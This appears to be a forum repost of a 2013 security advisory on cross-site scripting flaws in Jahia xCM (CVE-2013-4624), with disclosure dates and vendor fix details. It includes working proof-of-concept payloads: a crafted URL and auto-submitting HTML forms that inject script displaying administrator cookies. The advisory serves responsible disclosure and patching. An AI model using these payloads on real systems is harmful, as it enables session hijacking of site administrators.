Post Fri Aug 09, 2013 5:04 am

HTB23159: Multiple XSS Vulnerabilities in Jahia xCM

Advisory ID: HTB23159
Product: Jahia xCM
Vendor: Jahia Solutions Group SA
Vulnerable Versions: 6.6.1.0 r43343 and probably prior
Tested Version: 6.6.1.0 r43343
Vendor Notification: June 5, 2013
Vendor Fix: July 17, 2013
Public Disclosure: July 31, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-4624
Risk Level: Low
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab

Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in Jahia xCM, which can be exploited to perform cross-site scripting attacks against administrator of vulnerable application.

1) Multiple Cross-Site Scripting (XSS) Vulnerabilites in Jahia xCM: CVE-2013-4624
1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data in "site" HTTP GET parameter passed to "/engines/manager.jsp" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses JavaScript 'alert()' function to display administrator's cookies:
http://[host]/engines/manager.jsp?conf=repositoryexplorer&site=%3C/script%3E%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E

1.2 The vulnerability exists due to insufficient filtration of user-supplied data in "searchString" HTTP POST parameter passed to "/administration/" URI when "do=users" and "sub=search". A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses JavaScript 'alert()' function to display administrator's cookies:
  Code:
<form action="http://[host]/administration/?do=users&sub=search" method="post" name="main">
<input type="hidden" name="searchString" value="'><script>alert(document.cookie);</script>">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


1.3 The vulnerability exists due to insufficient sanitisation of user-supplied data in "username", "manage-user-property#j:firstName", "manage-user-property#j:lastName", "manage-user-property#j:email" and "manage-user-property#j:organization" HTTP POST parameters passed to "/administration/" URI when "do=users" and "sub=processCreate". A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.
The exploitation example below uses JavaScript 'alert()' function to display administrator's cookies:
  Code:
<form action="http://[host]/administration/?do=users&sub=processCreate" method="post" name="main">
<input type="hidden" name="username" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:firstName" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:lastName" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:email" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="manage-user-property#j:organization" value="'><script>alert(document.cookie);</script>">
<input type="hidden" name="actionType" value='save'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


Solution:
Apply hotfix 7, that is available to all customers:
https://www.jahia.com/fr/home/support/customers-extranet/enterprise-jahia-downloads/jahia-xcm---version-66.html

References:
[1] High-Tech Bridge Advisory HTB23159 - https://www.htbridge.com/advisory/HTB23159 - Multiple XSS Vulnerabilities in Jahia xCM.
[2] Jahia xCM - http://www.jahia.com - Jahia xCM is the unified interface to access, personalize and manage best of breed WCM, portal and document management features.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.